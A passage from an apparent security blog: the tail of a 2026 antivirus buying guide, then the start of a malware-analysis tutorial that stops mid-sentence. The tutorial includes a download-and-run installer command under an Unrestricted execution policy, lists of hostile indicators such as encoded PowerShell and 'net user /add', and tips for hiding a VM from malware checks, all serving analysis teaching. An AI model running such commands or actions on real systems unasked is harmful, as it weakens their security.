tiers up to ADVANCED+, plus a dedicated Performance Test for system impact and a False Alarm count for usability. The crucial detail: in 2026 the leading engines are separated by hundredths of a point. When a vendor trumpets "100% detection," so did most of its competitors. The number that distinguishes products is the false-positive count and the performance overhead, not the headline detection figure, which is exactly the number the ads never lead with. ## The verdict, up front - **Best overall: [Bitdefender](/ref/bitdefender).** Perfect 6/6/6 at AV-TEST (protection, performance, usability), low false positives, and a lighter footprint than most rivals. The renewal price is the only real complaint. - **Best value bundle: [Norton 360](/ref/norton) Deluxe.** If you want unlimited VPN, cloud backup, a password manager, and identity monitoring in one box, Norton packs the most in, accept a heavier client and pushier upsells. - **Best lightweight: [ESET](/ref/eset) HOME Security.** The quiet, configurable choice that stays out of your way, AV-TEST 6/5.5/6 and AV-Comparatives ADVANCED (98.5%) in 2026. Ideal for technical users and older or lower-spec machines. - **Best remediation / second opinion: [Malwarebytes](/ref/malwarebytes) Premium.** Unbeaten at cleaning up an active infection; runs alongside another AV if you want a backstop. - **Best free: Microsoft Defender.** Built into Windows, $0, and a perfect 6/6/6 at AV-TEST in 2026. For many cautious users, this plus good habits is genuinely enough. - **Honorable budget pick (with caveats): [TotalAV](/ref/totalav).** Good lab scores and cheap to start, but the most aggressive product here on upsells and renewal hikes. We deliberately do **not** recommend Kaspersky, despite its excellent engine, see the warning below. ## Comparison table | Product | Price (yr 1) | Renewal price | Lab detection | Extras (VPN / PW mgr) | Best for | |---|---|---|---|---|---| | Bitdefender Total Security | ~$19.99 (3 dev) | ~$89.99 | AV-TEST 6/6/6 · AVC ADVANCED+ | VPN (200 MB/day cap) + PW mgr | Best overall protection | | Norton 360 Deluxe | ~$49.99 (5 dev) | ~$119.99 | AV-TEST 6/6/6 · AVC ADVANCED+ | Unlimited VPN + PW mgr + 50 GB backup | Most bundled features | | ESET HOME Security Essential | ~$39.99 (3 dev) | varies (higher) | AV-TEST 6/5.5/6 · AVC ADVANCED (98.5%) | VPN + PW mgr in Premium tier | Lightweight, low-nag | | Malwarebytes Premium | ~$44.99 (1 dev) / $59.99 (3 dev) | varies | AVC STANDARD (downgraded, false positives) | VPN in Plus tier ($79.99) | Cleanup / second opinion | | TotalAV Total Security | ~$49.00 (8 dev) | ~$149.00 | AVC ADVANCED+ (99.0%) | VPN + PW mgr (higher tiers) | Budget, if disciplined | | Microsoft Defender | Free | Free | AV-TEST 6/6/6 · AVC ADVANCED+ | None built in (use Windows tools) | Best free baseline | Prices are U.S. list/intro figures verified June 2026 and rounded; vendors change promotions constantly, so confirm at checkout. Treat the **renewal** column as the real cost of ownership. **Renewal price hikes are universal here.** Every paid product in this guide sells a cheap first year and auto-renews at a much higher rate, frequently 3-6x the intro price. Set a calendar reminder a week before renewal. You can usually re-subscribe at the intro rate, switch products, or call/chat to negotiate. Do not let it silently auto-charge. ## Bitdefender: best overall **Protection.** Bitdefender sits at the top of the independent rankings in 2026. In AV-TEST's recent Windows home-user rounds it earns a perfect 6.0/6.0 for protection, performance, and usability (the "TOP PRODUCT" tier) blocking 100% of zero-day and widespread malware while keeping false positives among the lowest in the field. AV-Comparatives also lists it in the top ADVANCED+ group for real-world protection. **Strengths.** Class-leading detection with a notably light footprint; an effective ransomware remediation layer; a clean, mostly unobtrusive interface; and fewer false alarms than most rivals (a real quality-of-life difference if you install niche or developer software). **Real weaknesses.** The bundled VPN in Total Security is capped at 200 MB/day, effectively a teaser for the paid unlimited add-on. The autopilot/notification system occasionally nudges you toward upgrades. And like everyone here, the renewal stings. **Pricing / renewal traps.** Total Security is commonly around $19.99 for the first year and renews near $89.99. The cheap intro is real, but treat the renewal as the true price. Many users cancel auto-renew and re-buy at the intro rate annually. **Who it's for.** Anyone who wants the best-tested protection with minimal hassle and does not need unlimited VPN built in. Get [Bitdefender](/ref/bitdefender) if you want the safest default choice. ## Norton 360: most features in the box **Protection.** Norton matches Bitdefender at the top of the charts: a perfect 6/6/6 at AV-TEST in 2026 and ADVANCED+ at AV-Comparatives. On raw detection there is nothing to separate them; Norton's false-positive count tends to run slightly higher than Bitdefender's, but still low. **Strengths.** The most generous bundle of any mainstream consumer suite. Norton 360 Deluxe covers 5 devices and includes an **unlimited** VPN (not a data-capped teaser), a password manager, 50 GB of PC cloud backup (versus 2 GB on the entry Standard tier), parental controls, and dark-web/identity monitoring. If you would otherwise pay separately for a VPN and backup, Norton can be the better total value despite a higher sticker. **Real weaknesses.** Heavier on system resources than Bitdefender or ESET. The client is the pushiest here on in-app prompts to buy more (LifeLock identity tiers, utilities). The performance optimizers it bundles are the kind of feature security purists ignore. **Pricing / renewal traps.** Norton 360 Deluxe is typically about $49.99 for the first year and renews around $119.99: a steep jump. Higher tiers (Premium, with LifeLock) cost more. As always, budget for the renewal, not the intro. **Who it's for.** Households that want VPN, backup, and identity monitoring consolidated under one subscription and one bill. Choose [Norton 360](/ref/norton) for the most all-in-one coverage. ## ESET: best lightweight **Protection.** ESET is a long-standing, well-regarded engine that performs strongly in independent certification testing. In AV-TEST's 2026 Windows home-user rounds it scored 6/5.5/6 (protection / performance / usability), top marks for detection and usability, fractionally behind the perfect-6 leaders on performance. In AV-Comparatives' Feb-May 2026 Real-World Protection Test it earned the ADVANCED award (one tier below ADVANCED+) at 98.5% protection: a notch under Bitdefender, Norton, Microsoft and TotalAV in that specific round, but still a strong, certified result. It clears the high bar for protection while imposing very little overhead. **Strengths.** The lightest-touch suite here. ESET stays quiet, rarely nags, and exposes deep, granular configuration that power users love (think detailed HIPS rules, network protection settings, and an exploit blocker). It is a favorite for older hardware and for people who hate bloatware. **Real weaknesses.** Fewer consumer-friendly extras than Norton: the VPN and password manager live in the pricier HOME Security Premium/Ultimate tiers. The interface, while powerful, is less hand-holding for non-technical users. **Pricing / renewal traps.** Entry pricing is reasonable, HOME Security Essential is commonly around $39.99 for 3 devices on sale (list around $59.99), with Premium near $49.99, but ESET's tier structure means the features you may want (unlimited VPN, password manager) require stepping up to the Premium tier. Renewals rise like everyone else's; ESET often runs "+6 months free" intro promotions and discounts on 2- and 3-year plans, which can blunt the per-year hike if you commit up front. **Who it's for.** Technical users, tinkerers, and anyone running antivirus on a lower-spec or older PC. Pick [ESET](/ref/eset) if you want protection that disappears into the background. ## Malwarebytes: best remediation / second opinion **Protection.** Malwarebytes built its reputation on cleaning up infections that other scanners missed or could not fully remove. The free version is a superb on-demand remover; **Malwarebytes Premium** adds real-time protection and can serve as a primary antivirus. **Strengths.** Outstanding at remediation, if a machine is already infected, this is the tool we reach for first. It is designed to coexist with another antivirus, making it the best "second opinion" layer if you want belt-and-suspenders coverage. Clean, simple interface. **Real weaknesses.** As a sole, primary antivirus the independent data is mixed. In AV-Comparatives' Feb-May 2026 Real-World Protection Test, Malwarebytes was downgraded to the STANDARD tier: not for weak detection but for above-average false positives (39 wrongly blocked items, versus single digits for the leaders). High false positives are a real quality-of-life problem if you install niche or developer software, and they undercut the case for Malwarebytes as your only line of defense. Pricing tiers (Standard, Plus) and device counts can be confusing, and renewal rates are not always clearly published, users report renewal jumps anywhere from 15% to well over 50%. **Pricing / renewal traps.** Standard runs about $44.99/year for a single device or $59.99 for 3 devices; Plus, which adds a VPN, is about $79.99 for 3 devices or $99.99 for 5. Watch the device count and whether the VPN is included in your tier, and budget for a renewal that is rarely the same as the intro price. **Who it's for.** Anyone recovering from an active infection, or a confident user who wants a remediation specialist layered on top of Defender or another AV. Add [Malwarebytes](/ref/malwarebytes) as cleanup insurance. ## TotalAV: budget pick, eyes open **Protection.** TotalAV's engine performs respectably in testing: it earned the ADVANCED+ award in AV-Comparatives' Feb-May 2026 Real-World Protection Test (99.0% protection with only a handful of false positives), putting it in the top group on detection alongside Bitdefender, Norton and Microsoft. On protection alone, it is legitimately competitive. **Strengths.** Very cheap to start, easy to use, and includes consumer extras (VPN, password manager, system cleanup) at higher tiers. High user-review scores for ease of use. **Real weaknesses.** This is the most aggressive product in the guide on upsells. Even after you pay, the interface pushes add-ons (VPN, premium tiers) with persistent prompts. The renewal pricing is a frequent source of complaints. **Pricing / renewal traps.** Intro pricing is the whole pitch: Antivirus Pro is about $29/year (4 devices), Internet Security about $39/year (6 devices, adds VPN), and Total Security about $49/year (8 devices, adds password manager) in year one, then they renew sharply, to roughly $99, $129, and $149 respectively. That is a 2-3x jump across the board. Read the auto-renew terms carefully and set a cancellation reminder. **Who it's for.** Budget-focused users who want cheap first-year coverage and will stay disciplined about billing. If that is you, [TotalAV](/ref/totalav) is workable, just manage the renewal. ## Microsoft Defender: the free baseline **Microsoft Defender is good enough for many people.** It is built into Windows 10 and 11, costs nothing, and scored a perfect 6/6/6 (protection, performance, usability) in AV-TEST's early-2026 Windows home-user rounds, plus ADVANCED+ from AV-Comparatives in the Feb-May 2026 Real-World Protection Test. If you patch promptly, use a password manager, and enable 2FA, you do not strictly need a paid suite for core protection. What you give up by staying free is **convenience consolidation**, not core detection: there is no built-in VPN, no cross-platform password manager, no identity/dark-web monitoring, and no unified dashboard across your phone, Mac, and PC. Paid suites bundle those. If you would otherwise buy a VPN and a password manager separately, a suite like Norton can be better value; if you already have those (or do not want them), Defender plus good habits is a defensible, free choice. ## Do you even need paid antivirus in 2026? Honest answer: often, no, at least not for protection alone. The threat landscape has shifted. The dominant ways people actually get compromised in 2026 are phishing, credential theft (reused or leaked passwords), and exploitation of **unpatched** software: not exotic viruses that slip past a competent scanner. Windows ships with Defender, which the independent labs rate at the top tier. macOS has Gatekeeper, XProtect, and notarization. Mobile platforms sandbox apps heavily. So the real value of a paid suite is **bundling and convenience**: - A VPN you would otherwise pay for separately. - A password manager and identity/dark-web monitoring. - Parental controls. - One subscription covering several devices and platforms with a single dashboard. If those features solve a problem you actually have, a suite is worth it. If you just want "is my PC protected," Defender plus disciplined habits gets you most of the way for free. For the underlying mechanics of the threats antivirus is fighting, see our [intro to malware analysis](/intro-to-malware-analysis), the [anatomy of a ransomware attack](/ransomware-anatomy), and [how keyloggers work](/keyloggers-detection-guide). There is also a category of buyer for whom paid antivirus genuinely earns its keep: less-technical family members. If you maintain the laptops of relatives who will click anything, a suite with strong web/phishing filtering, scam-call/link protection, and a remote dashboard you can check is worth the renewal purely for the support burden it removes from you. The same logic applies to households with children, where parental controls and content filtering are the actual product being purchased and the antivirus is almost incidental. Be honest with yourself about which problem you are solving, protection, or peace of mind for someone else. One thing no antivirus solves is human error. Every product in this guide will sit quietly while you type your bank password into a convincing fake login page, approve a malicious OAuth grant, or run an "invoice.pdf.exe" a stranger emailed you. Detection technology is a backstop for the moments your judgment fails; it is not a replacement for judgment. The single biggest variable in whether you get compromised in 2026 is still you. ## How to choose 1. **Start with the labs, not the ads.** If a product is not certified by AV-TEST or AV-Comparatives, do not buy it. Among the certified ones, detection differences are tiny. 2. **Decide if you need the extras.** Want unlimited VPN + backup + identity monitoring in one bill? Lean Norton. Want the lightest, quietest protection? Lean ESET or Bitdefender. Just want core protection for free? Defender. 3. **Read the renewal price, not the intro price.** Budget for year two. Set a calendar reminder a week before renewal. 4. **Match device count and platforms.** Confirm the plan covers your actual number of PCs, Macs, and phones. 5. **Skip the bloat.** Ignore "PC optimizer" and registry-cleaner features; they add overhead and little security value. 6. **Layer the basics.** Whatever you pick, patch promptly, use a password manager, and turn on two-factor authentication. That combination prevents more real-world compromise than any single AV product. ## A note on Kaspersky Kaspersky's engine has historically been among the best in independent testing, but we exclude it for U.S. and EU readers on national-security grounds, not technical ones. **Kaspersky is banned for U.S. customers.** In June 2024 the U.S. Commerce Department's Bureau of Industry and Security issued a Final Determination prohibiting Kaspersky from selling or distributing its software to U.S. persons, citing risk tied to potential Russian-government influence. New U.S. sales stopped on **July 20, 2024**, and the company stopped pushing software/signature **updates after September 29, 2024**, meaning installed copies no longer receive new threat protection. Germany's BSI warned consumers against Kaspersky after the 2022 invasion of Ukraine, and Lithuania and the Netherlands phased it out of government use. If you are in the U.S. or EU, choose a different product. ## FAQ **What is the best antivirus in 2026?** For most people who want a paid suite, Bitdefender, perfect AV-TEST scores, low false positives, light footprint. Norton 360 is the best alternative if you want bundled identity protection and cloud backup. If you do not want to pay, Microsoft Defender also scores 6/6/6 and is enough for many cautious users. **Is Microsoft Defender good enough, or do I need paid antivirus?** Defender is genuinely good in 2026 (6/6/6 at AV-TEST, ADVANCED+ at AV-Comparatives). With good habits it is sufficient for core protection. You pay for a third-party suite mainly for extras (VPN, parental controls, password manager, identity monitoring), not because Defender's detection is weak. **Why is Kaspersky not recommended even though it scores well?** Its engine performs at the top, but the U.S. banned its sale and updates in 2024 on national-security grounds, and several EU states have warned against it. We exclude it for U.S. and EU readers on that basis. **Why does antivirus get so much more expensive when it renews?** Discounted first-year pricing is a customer-acquisition tactic; auto-renewal is charged at full list price. Bitdefender goes from ~$19.99 to ~$89.99, Norton 360 Deluxe from ~$49.99 to ~$119.99, TotalAV's top tier toward ~$149. Budget for the renewal and set a reminder. **Does antivirus slow down my computer?** Less than it used to. Bitdefender, ESET, and Defender are typically among the lighter options; heavier suites with optimizers and VPN clients add more overhead. Disable add-ons you do not use rather than the protection engine. **Do I need antivirus on a Mac or phone?** macOS has strong built-in protection, so third-party AV is optional for careful users. On iPhone, sandboxing means "antivirus" apps mostly do web/scam filtering and VPN. On Android, a reputable scanner can add value because of sideloading, though Play Protect covers basics. **Is Malwarebytes a full antivirus or just a remover?** Both. The free version is a manual on-demand cleaner; Premium adds real-time protection and can be your primary AV or a second-opinion layer alongside another suite. **What is the single most important thing to do beyond installing antivirus?** Patch your OS and apps, enable 2FA, and use a password manager. Most real-world compromises exploit unpatched software and reused or phished credentials, not malware that beats a good scanner. ## Related guides - [What Is Phishing and How to Stop It](/what-is-phishing) - [Zero-Day Vulnerabilities](/zero-day-vulnerabilities) - [Cybersecurity for Small Business](/cybersecurity-for-small-business) - [Best Password Managers](/best-password-managers) - [How to Set Up Two-Factor Authentication (2FA) Properly](/two-factor-authentication-guide) ### Sources - Test antivirus software for Windows 11 - Home User (AV-TEST): https://www.av-test.org/en/antivirus/home-windows/ - Consumer Real-World Protection Test February-May 2026 (AV-Comparatives): https://www.av-comparatives.org/tests/real-world-protection-test-february-may-2026/ - Commerce Department Prohibits Russian Kaspersky Software for U.S. Customers (U.S. Department of Commerce, BIS): https://www.bis.gov/press-release/commerce-department-prohibits-russian-kaspersky-software-u.s.-customers - Bitdefender Total Security (Bitdefender): https://www.bitdefender.com/en-us/consumer/total-security - Norton 360 Deluxe (Norton): https://us.norton.com/products/norton-360-deluxe - Malwarebytes Pricing & Plans (Malwarebytes): https://www.malwarebytes.com/pricing - ESET Home Cyber Security Plans (ESET): https://www.eset.com/us/home/protection-plans/ - TotalAV Antivirus Review and Pricing 2026 (Security.org): https://www.security.org/antivirus/totalav/ - Microsoft Defender Antivirus - AV-TEST Manufacturer Results (AV-TEST): https://www.av-test.org/en/antivirus/home-windows/manufacturer/microsoft/ --- ## Introduction to Malware Analysis > A practical guide to static and dynamic malware analysis, covering PE inspection, sandboxing, strings extraction, and the tools analysts actually use. - URL: https://blog.pwnsy.com/intro-to-malware-analysis - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: malware - Tags: malware, reverse-engineering, analysis, sandboxing, static-analysis, dynamic-analysis - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - Never analyze malware on your host machine, use an isolated VM pair: Flare-VM for analysis and REMnux running INetSim to simulate network services. - Start with static analysis (hashes, strings, PE headers) before executing anything; high section entropy above 7.0 means the sample is packed. - Automated sandboxes like Any.Run give a behavioral overview in under 20 minutes; manual dynamic analysis with Procmon and Wireshark is needed for evasive samples. - Finish every analysis with a documented IOC table and YARA rules: these are the deliverables that feed detection systems. ### Key Takeaways - Modern malware checks for VM artifacts such as VMware registry keys, low CPU core counts, and debugger processes before deploying its payload. - The FLOSS tool recovers strings constructed at runtime, stack strings and encoded strings that are invisible to the standard strings command. - A PE section with entropy above 7.0 indicates packed or encrypted content, meaning the actual malicious code is hidden and unpacked at runtime. - The import triad of CreateRemoteThread, VirtualAllocEx, and WriteProcessMemory is the classic process injection signature in PE header analysis. - Uploading a novel sample to a public sandbox tips off the malware authors that their implant has been discovered, which matters in active incident response. ### FAQ **Q: What is the difference between static and dynamic malware analysis?** Static analysis examines the file without executing it (extracting strings, analyzing PE headers, and checking imports) making it safe but limited to what is visible before runtime. Dynamic analysis executes the sample in an isolated environment and observes real behavior including file writes, registry changes, network connections, and process creation. **Q: What tools do malware analysts use to analyze Windows executables?** A standard analysis workstation such as Flare-VM includes Ghidra for disassembly and decompilation, x64dbg for debugging, PE-bear and CFF Explorer for PE header inspection, FLOSS for obfuscated string extraction, Procmon and Process Hacker for live behavioral monitoring, and Wireshark for network capture. **Q: How do I detect if a malware sample is packed?** Calculate the entropy of each PE section using a tool like pefile or PE-bear. A code section with entropy above 7.0 is almost certainly compressed or encrypted, meaning the sample is packed and the real malicious code will be unpacked at runtime. **Q: What is a YARA rule and how is it used in malware analysis?** A YARA rule is a pattern-matching signature that describes characteristics of a malware sample, specific strings, byte sequences, import combinations, or file structure properties. Analysts write YARA rules after analysis to detect the same malware family in file system scans, memory dumps, and network traffic. **Q: Is it safe to submit malware samples to VirusTotal?** Only if your engagement rules allow it. Public VirusTotal submissions are accessible to all subscribers, which may expose client infrastructure details embedded in the sample and alert malware authors that their implant has been identified. For sensitive incident response or novel samples, use a private sandbox instead. Every piece of malware that gets analyzed started as an unknown executable on a compromised machine. Incident responders triaging a breach, threat intelligence analysts tracking a new campaign, and malware researchers trying to understand what the latest ransomware group deployed all face the same initial problem: what does this thing do, and what did it do to this system? Malware analysis answers that question. The methodologies (static analysis, dynamic analysis, and code-level reverse engineering) form a tiered approach where each layer reveals more detail while demanding more skill and time. This guide covers professional-level malware analysis from initial triage through Ghidra-based reverse engineering, with working tool commands and code examples throughout. Looking for the right disassembler, sandbox, or analysis tool? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com). ## Real Malware Families Worth Understanding Before analyzing a sample, knowing the major malware families shapes your approach and tells you what to look for: **Emotet (2014-2021, 2022-present):** The most prolific malware loader in history. Originally a banking trojan, it evolved into a dropper-for-hire that distributed TrickBot, QakBot, and eventually Ryuk ransomware. Emotet used Word macro documents and PowerShell for initial delivery, polymorphic code to evade signatures, and peer-to-peer C2 architecture. The global coordinated takedown in January 2021 (Europol + FBI + multiple national agencies) seized 700+ servers and disrupted its botnet for about 10 months before it resurfaced. **LockBit Ransomware (2019-2024):** The most prolific ransomware-as-a-service operation until law enforcement action in February 2024. LockBit 3.0 (Black) implemented novel anti-analysis techniques including an encryption key passed on the command line (the sample cannot decrypt itself without the key, defeating static analysis). It targeted print spoolers and domain controllers for lateral movement, used MITRE ATT&CK T1490 (inhibit system recovery) to delete VSS copies, and achieved encryption speeds of ~4GB/minute using AES-NI. Estimated total ransoms: $120 million+ before disruption. **Pegasus (NSO Group, 2016-present):** Commercial spyware sold to governments. Multiple iOS zero-days including FORCEDENTRY (CVE-2021-30860), a zero-click exploit in the JBIG2 image processing library. The sample weaponized a logic bug in the JBIG2 decoder to execute arbitrary code in the context of a maliciously crafted PDF attachment: no user interaction required. Citizen Lab's forensic analysis using MVT (Mobile Verification Toolkit) was the first to document the technical indicators. **XZ Utils Backdoor (CVE-2024-3094):** Not ransomware or spyware: a supply chain attack in a fundamental Linux compression library. A malicious contributor (operating as "Jia Tan") spent two years building trust in the xz-utils project before inserting a backdoor that modified the OpenSSH authentication flow, potentially allowing remote code execution as root. Discovered by accident when a Microsoft engineer noticed unexplained 500ms SSH login latency on Debian Sid. CVSS score: 10.0. If widely deployed, this would have been the most significant Linux backdoor in history. --- ## Safe Analysis Environment Setup Never analyze malware on your host machine, on a machine connected to your corporate network, or on any system whose compromise you aren't prepared for. Assume every sample can detect the VM environment and either go dormant or attempt to escape. Modern malware routinely checks for VM artifacts before deploying its payload. ### The Baseline Lab Architecture ``` [Host Machine] ├── VMware Workstation / VirtualBox (Hypervisor) │ ├── [Flare-VM] (Windows 10/11 — analysis workstation) │ │ IP: 192.168.100.2 │ │ Network: Host-only adapter │ │ Snapshot: "Clean-Baseline" (taken before any analysis) │ │ │ └── [REMnux] (Linux — network simulation) │ IP: 192.168.100.1 │ Network: Host-only adapter │ Runs: INetSim, FakeNet-NG (simulates DNS/HTTP/SMTP/FTP) │ └── NO internet connection from analysis VMs ``` ```bash # Set up Flare-VM (run in a clean Windows 10 VM with admin rights) # Install from https://github.com/mandiant/flare-vm Set-ExecutionPolicy Unrestricted $env:Path += ";C:\Python312" (New-Object net.webclient).DownloadFile('https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1', "$env:TEMP\install.ps1") Unblock-File "$env:TEMP\install.ps1" .\install.ps1 # This installs: IDA Free, x64dbg, Ghidra, PEView, CFF Explorer, Wireshark, # ProcessMonitor, ProcessHacker, PE-bear, FLOSS, strings, binwalk, and ~100+ more tools ``` ```bash # REMnux setup — on a separate Linux VM # Download from https://remnux.org/ # After import, configure INetSim to simulate network services # /etc/inetsim/inetsim.conf — configure fake network services # Enable all services so malware believes it has real internet connectivity service_bind_address 192.168.100.1 # REMnux IP on the host-only network inetsim & # From Flare-VM, configure DNS to point to REMnux: # Settings → Network → DNS: 192.168.100.1 # Now any DNS query from Flare-VM goes to INetSim, which resolves everything to 192.168.100.1 # HTTP requests return a default page, SMTP accepts mail, FTP accepts connections ``` ### Anti-Analysis Bypass Modern malware checks for virtual environments before deploying its payload. Common checks: ```python # Common VM detection techniques malware uses: # 1. Check for VMware registry keys # HKLM\SOFTWARE\VMware, Inc.\VMware Tools # HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0: Identifier = VBOX HARDDISK # 2. Check for VM-specific processes # vmtoolsd.exe, vmwaretray.exe, vboxservice.exe, VBoxTray.exe # 3. Check for specific hardware (VM-typical values) # CPU cores: 1-2 (physical machines typically have more) # RAM: 1-4GB (VM baseline) # Screen resolution: default VM resolution # 4. Timing checks (CPUID/RDTSC are slower in VMs due to hypervisor interception) # 5. Disk size checks (VMs often have small disks) # 6. Check for analysis tool processes (procmon.exe, wireshark.exe, ollydbg.exe) # Bypass strategies: # - Give the VM 4+ cores and 8+ GB RAM # - Install VMware Tools but then remove the registry artifacts # - Use Pafish to check what fingerprints your VM exposes # - Use al-khaser to test your VM against 100+ anti-analysis checks # - Use SCYLLA_HIDE or x64dbg's ScyllaHide plugin to hide the debugger ``` ```powershell # Check your VM's fingerprint before analyzing malware # Download Pafish: https://github.com/a0rtega/pafish .\pafish.exe # Lists all VM/sandbox detection methods that would trigger # Fix each one before detonating a sample # Remove VMware artifacts that malware checks Remove-ItemProperty -Path "HKLM:\SOFTWARE\VMware, Inc.\VMware Tools" -Name "InstallPath" -ErrorAction SilentlyContinue # Note: this may break some VMware functionality — snapshot before doing this ``` --- ## Static Analysis: No Execution Required Static analysis extracts information from the file without running it. It's safe, fast, and often reveals enough to identify the malware family, understand its capabilities, and extract network indicators. ### Step 1: Hashing and Threat Intelligence ```bash # Compute file hashes — SHA256 is the standard identifier sha256sum malware.exe md5sum malware.exe # Legacy compatibility, also useful for VirusTotal search ssdeep malware.exe # Fuzzy hash — detects slight variants of the same sample # Submit to VirusTotal (if the sample is not sensitive) # Web UI: virustotal.com # API: vt file # Or submit the file directly (only if engagement allows — public VirusTotal means all subscribers can see it) vt file submit malware.exe # Check other threat intel platforms # AbuseIPDB: https://www.abuseipdb.com (for C2 IPs extracted from the sample) # URLhaus: https://urlhaus.abuse.ch (for malicious URLs/domains) # MalwareBazaar: https://bazaar.abuse.ch (sample search, IOC lookup) # Hybrid Analysis: https://www.hybrid-analysis.com (sandbox + static analysis) # IMPORTANT: Before submitting to ANY public platform, check your engagement rules # If the sample contains or was found on client infrastructure, it may have embedded IPs, # internal hostnames, or proprietary information. Public submission = public disclosure. ``` ### Step 2: Strings Extraction ```bash # Basic strings extraction — 4-character minimum by default, increase to reduce noise strings -n 8 malware.exe | sort -u > strings_ascii.txt # Unicode strings (16-bit encoding — common in Windows applications) strings -e l -n 8 malware.exe | sort -u > strings_unicode.txt # Combine both strings -n 8 malware.exe > strings_all.txt strings -e l -n 8 malware.exe >> strings_all.txt sort -u strings_all.txt > strings_deduped.txt # Extract interesting categories from strings # Network indicators grep -iE '([0-9]{1,3}\.){3}[0-9]{1,3}' strings_deduped.txt # IP addresses grep -iE 'https?://[a-zA-Z0-9./\-]+' strings_deduped.txt # URLs grep -iE '[a-z0-9.-]+\.(com|net|org|io|ru|cn|onion)' strings_deduped.txt # Domains # Windows API calls (visible in plain text before import obfuscation) grep -i "VirtualAlloc\|CreateRemoteThread\|WriteProcessMemory\|LoadLibrary" strings_deduped.txt # File system operations grep -i "\\\\Windows\|\\\\System32\|AppData\|Temp\\\\" strings_deduped.txt # Registry persistence grep -i "CurrentVersion\\\\Run\|SOFTWARE\\\\Microsoft" strings_deduped.txt # Encryption indicators grep -i "CryptEncrypt\|CryptAcquireContext\|bcrypt\|AES\|RSA" strings_deduped.txt # C2 communication patterns grep -i "User-Agent\|GET\|POST\|HTTP" strings_deduped.txt # Mutex names (unique per malware family, excellent detection IOC) grep -i "Global\\\\\|\\\\Global\\\\" strings_deduped.txt ``` ```bash # FLOSS — FLARE Obfuscated String Solver # Recovers strings that are constructed at runtime (stack strings, encoded strings) # These are invisible to standard 'strings' but are recovered by FLOSS floss malware.exe > floss_output.txt # FLOSS output categories: # STATIC STRINGS: same as strings command # STACK STRINGS: strings built on the stack at runtime (encryption key loading pattern) # TIGHT STRINGS: strings decoded in short loops (common in packed samples) # DECODED STRINGS: strings that were base64/XOR decoded before use ``` **What the strings tell you:** ``` Suspicious strings and their implications: "cmd.exe /c" + "powershell -enc" → Command execution capability "CreateRemoteThread" + "VirtualAllocEx" + "WriteProcessMemory" → Process injection "net.exe user /add" + "net.exe localgroup administrators" → Privilege escalation "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" → Registry persistence "bcrypt.dll" + file enumeration → Ransomware candidate "GetTickCount" + "QueryPerformanceCounter" → Anti-sandbox timing check ".onion" → Tor-based C2 "Mozilla/5.0" → Custom HTTP client mimicking legitimate browser "MachineGuid" → Unique machine fingerprinting for victim tracking Global\\ → Mutex (prevents multiple instances — IOC for YARA rule) ``` ### Step 3: PE Header Analysis The Portable Executable (PE) format is the Windows executable container. Its headers contain metadata that reveals the file's capabilities, compilation details, and structure before a single instruction executes. ```python #!/usr/bin/env python3 # PE analysis script — requires: pip install pefile import pefile import math import sys from datetime import datetime def entropy(data: bytes) -> float: if not data: return 0.0 freq = [data.count(bytes([i])) / len(data) for i in range(256)] return -sum(p * math.log2(p) for p in freq if p > 0) def analyze_pe(filepath: str): pe = pefile.PE(filepath) print("=" * 60) print("PE HEADER ANALYSIS") print("=" * 60) # Compilation timestamp (often spoofed, but sometimes genuine) ts = pe.FILE_HEADER.TimeDateStamp print(f"[*] Compilation timestamp: {datetime.utcfromtimestamp(ts).isoformat()}") if ts == 0: print(" ^ Timestamp zeroed — possible anti-forensics") # Architecture machine = pe.FILE_HEADER.Machine arch = {332: "x86 (32-bit)", 34404: "x86-64 (64-bit)", 452: "ARM", 43620: "ARM64"}.get(machine, f"Unknown ({hex(machine)})") print(f"[*] Architecture: {arch}") # Subsystem (GUI app vs console vs driver) subsystem = pe.OPTIONAL_HEADER.Subsystem subsystems = {2: "GUI", 3: "Console", 1: "Driver", 14: "Tray App (EFI)"} print(f"[*] Subsystem: {subsystems.get(subsystem, subsystem)}") # Section analysis print(f"\n[*] Sections ({len(pe.sections)} total):") print(f" {'Name':<12} {'VirtSize':>10} {'RawSize':>10} {'Entropy':>8} {'Flags'}") for section in pe.sections: name = section.Name.decode('utf-8', errors='replace').strip('\x00') vsize = section.Misc_VirtualSize rsize = section.SizeOfRawData sec_entropy = entropy(section.get_data()) flags = [] if section.Characteristics & 0x20000000: # Executable flags.append('EXEC') if section.Characteristics & 0x40000000: # Readable flags.append('READ') if section.Characteristics & 0x80000000: # Writable flags.append('WRITE') flag_str = '+'.join(flags) alert = " ← HIGH ENTROPY (packed/encrypted)" if sec_entropy > 7.0 else "" print(f" {name:<12} {vsize:>10} {rsize:>10} {sec_entropy:>8.3f} {flag_str}{alert}") # Import analysis if hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'): print(f"\n[*] Imported DLLs and key functions:") suspicious_apis = { 'CreateRemoteThread': 'Process injection', 'VirtualAllocEx': 'Remote memory allocation (injection)', 'WriteProcessMemory': 'Remote memory write (injection)', 'NtUnmapViewOfSection': 'Process hollowing', 'CreateProcess': 'Process creation', 'ShellExecute': 'Process/URL execution', 'WinExec': 'Command execution', 'CryptEncrypt': 'Encryption (ransomware)', 'CryptAcquireContext': 'Crypto context (ransomware)', 'RegSetValueEx': 'Registry modification (persistence)', 'IsDebuggerPresent': 'Anti-debug', 'CheckRemoteDebuggerPresent': 'Anti-debug', 'GetTickCount': 'Timing (anti-sandbox)', 'WSAStartup': 'Network capability', 'InternetOpenUrl': 'HTTP download', 'URLDownloadToFile': 'File download', } for entry in pe.DIRECTORY_ENTRY_IMPORT: dll = entry.dll.decode('utf-8', errors='replace') imports = [] for imp in entry.imports: if imp.name: name = imp.name.decode('utf-8', errors='replace') if name in suspicious_apis: imports.append(f"{name} [{suspicious_apis[name]}]") if imports: print(f" {dll}:") for i in imports: print(f" - {i}") if __name__ == '__main__': analyze_pe(sys.argv[1]) ``` **What the PE analysis reveals:** - **High entropy 